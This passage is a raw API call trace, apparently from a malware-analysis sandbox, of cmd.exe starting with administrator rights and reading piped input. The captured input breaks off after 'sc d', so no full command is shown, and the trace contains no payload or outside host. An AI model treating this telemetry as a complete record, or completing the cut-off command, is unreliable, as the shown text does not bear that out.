lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x1, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.330] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x1, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.330] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x0, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x40, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x40, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x40, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.331] RegCloseKey (hKey=0x44) returned 0x0 [0066.331] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce5a8 | out: phkResult=0x2ce5a8*=0x44) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x40, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x1, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x1, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x0, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x9, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x4, lpData=0x2ce5c0*=0x9, lpcbData=0x2ce5a4*=0x4) returned 0x0 [0066.331] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x9, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.331] RegCloseKey (hKey=0x44) returned 0x0 [0066.331] time (in: timer=0x0 | out: timer=0x0) returned 0x5eb916ea [0066.331] srand (_Seed=0x5eb916ea) [0066.331] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0066.331] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0066.332] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.332] GetProcessHeap () returned 0x4a0000 [0066.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4baa10 [0066.332] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4baa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0066.332] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.332] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.332] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0066.332] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0066.332] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0066.332] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0066.332] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0066.332] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0066.332] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0066.332] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0066.333] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0066.333] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0066.333] GetProcessHeap () returned 0x4a0000 [0066.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b94f0 | out: hHeap=0x4a0000) returned 1 [0066.333] GetEnvironmentStringsW () returned 0x4b8a60* [0066.333] GetProcessHeap () returned 0x4a0000 [0066.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa94) returned 0x4bac30 [0066.333] FreeEnvironmentStringsW (penv=0x4b8a60) returned 1 [0066.333] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.333] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0066.333] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0066.333] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0066.333] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0066.333] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0066.333] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0066.333] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0066.333] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0066.333] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0066.334] GetProcessHeap () returned 0x4a0000 [0066.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x5c) returned 0x4bb6d0 [0066.334] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cf3b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cf3b0, lpFilePart=0x2cf390 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf390*="Desktop") returned 0x25 [0066.334] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.334] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf0c0 | out: lpFindFileData=0x2cf0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x4bb740 [0066.334] FindClose (in: hFindFile=0x4bb740 | out: hFindFile=0x4bb740) returned 1 [0066.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf0c0 | out: lpFindFileData=0x2cf0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4bb740 [0066.334] FindClose (in: hFindFile=0x4bb740 | out: hFindFile=0x4bb740) returned 1 [0066.334] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0066.335] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf0c0 | out: lpFindFileData=0x2cf0c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f813410, ftLastAccessTime.dwHighDateTime=0x1d62774, ftLastWriteTime.dwLowDateTime=0x3f813410, ftLastWriteTime.dwHighDateTime=0x1d62774, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x4bb740 [0066.335] FindClose (in: hFindFile=0x4bb740 | out: hFindFile=0x4bb740) returned 1 [0066.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.335] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0066.335] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0066.335] GetProcessHeap () returned 0x4a0000 [0066.335] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bac30 | out: hHeap=0x4a0000) returned 1 [0066.335] GetEnvironmentStringsW () returned 0x4bb740* [0066.335] GetProcessHeap () returned 0x4a0000 [0066.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xae8) returned 0x4bc230 [0066.335] FreeEnvironmentStringsW (penv=0x4bb740) returned 1 [0066.335] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.335] GetProcessHeap () returned 0x4a0000 [0066.335] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bb6d0 | out: hHeap=0x4a0000) returned 1 [0066.335] GetProcessHeap () returned 0x4a0000 [0066.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4016) returned 0x4bcd20 [0066.336] GetProcessHeap () returned 0x4a0000 [0066.336] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bcd20 | out: hHeap=0x4a0000) returned 1 [0066.336] GetConsoleOutputCP () returned 0x1b5 [0066.336] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0066.336] GetUserDefaultLCID () returned 0x409 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a077b50, cchData=8 | out: lpLCData=":") returned 2 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cf4c0, cchData=128 | out: lpLCData="0") returned 2 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cf4c0, cchData=128 | out: lpLCData="0") returned 2 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cf4c0, cchData=128 | out: lpLCData="1") returned 2 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a08a740, cchData=8 | out: lpLCData="/") returned 2 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a08a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a08a460, cchData=32 | out: lpLCData="Tue") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a08a420, cchData=32 | out: lpLCData="Wed") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a08a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a08a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a08a360, cchData=32 | out: lpLCData="Sat") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a08a700, cchData=32 | out: lpLCData="Sun") returned 4 [0066.337] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a077b40, cchData=8 | out: lpLCData=".") returned 2 [0066.338] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a08a4e0, cchData=8 | out: lpLCData=",") returned 2 [0066.338] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0066.339] GetProcessHeap () returned 0x4a0000 [0066.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x20c) returned 0x4b95c0 [0066.339] GetConsoleTitleW (in: lpConsoleTitle=0x4b95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.339] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.339] GetFileType (hFile=0x120) returned 0x3 [0066.339] BrandingFormatString () returned 0x4b97e0 [0066.346] GetVersion () returned 0x1db10106 [0066.346] _vsnwprintf (in: _Buffer=0x2cf630, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2cf5c8 | out: _Buffer="6.1.7601") returned 8 [0066.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.346] GetFileType (hFile=0x120) returned 0x3 [0066.346] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a086340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0066.346] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a086340, nSize=0x2000, Arguments=0x2cf5d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0066.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0066.346] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2cf558, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf558*=0x24, lpOverlapped=0x0) returned 1 [0066.346] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf5f8 | out: _Buffer="\r\n") returned 2 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] GetFileType (hFile=0x120) returned 0x3 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.347] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf5c8, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf5c8*=0x2, lpOverlapped=0x0) returned 1 [0066.347] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x2cf5f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] GetFileType (hFile=0x120) returned 0x3 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0066.347] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2cf5c8, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf5c8*=0x3f, lpOverlapped=0x0) returned 1 [0066.347] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf5f8 | out: _Buffer="\r\n") returned 2 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] GetFileType (hFile=0x120) returned 0x3 [0066.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.347] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf5c8, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf5c8*=0x2, lpOverlapped=0x0) returned 1 [0066.348] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0066.348] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0066.348] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0066.348] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0066.348] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.348] GetFileType (hFile=0xb8) returned 0x3 [0066.348] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0066.348] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x2cf420 | out: TokenHandle=0x2cf420*=0x0) returned 0xc000007c [0066.348] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x2cf420 | out: TokenHandle=0x2cf420*=0x50) returned 0x0 [0066.349] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x2cf430, TokenInformationLength=0x4, ReturnLength=0x2cf438 | out: TokenInformation=0x2cf430, ReturnLength=0x2cf438) returned 0x0 [0066.349] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x2cf438, TokenInformationLength=0x4, ReturnLength=0x2cf430 | out: TokenInformation=0x2cf438, ReturnLength=0x2cf430) returned 0x0 [0066.349] NtClose (Handle=0x50) returned 0x0 [0066.349] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x2cf400, nSize=0x0, Arguments=0x2cf408 | out: lpBuffer="韠K") returned 0xf [0066.349] GetProcessHeap () returned 0x4a0000 [0066.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4a1ab0 [0066.349] GetConsoleTitleW (in: lpConsoleTitle=0x2cf450, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.349] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0066.349] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.350] GetProcessHeap () returned 0x4a0000 [0066.350] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0066.350] LocalFree (hMem=0x4b97e0) returned 0x0 [0066.350] GetProcessHeap () returned 0x4a0000 [0066.350] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa10 | out: hHeap=0x4a0000) returned 1 [0066.351] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0066.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.351] GetFileType (hFile=0x120) returned 0x3 [0066.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.351] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0066.351] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.351] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.351] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.351] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0066.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.351] GetFileType (hFile=0x120) returned 0x3 [0066.351] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.351] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0066.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.351] GetFileType (hFile=0xb8) returned 0x3 [0066.351] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.352] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.352] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.352] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0066.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.353] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0066.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.353] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.353] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0066.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.353] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 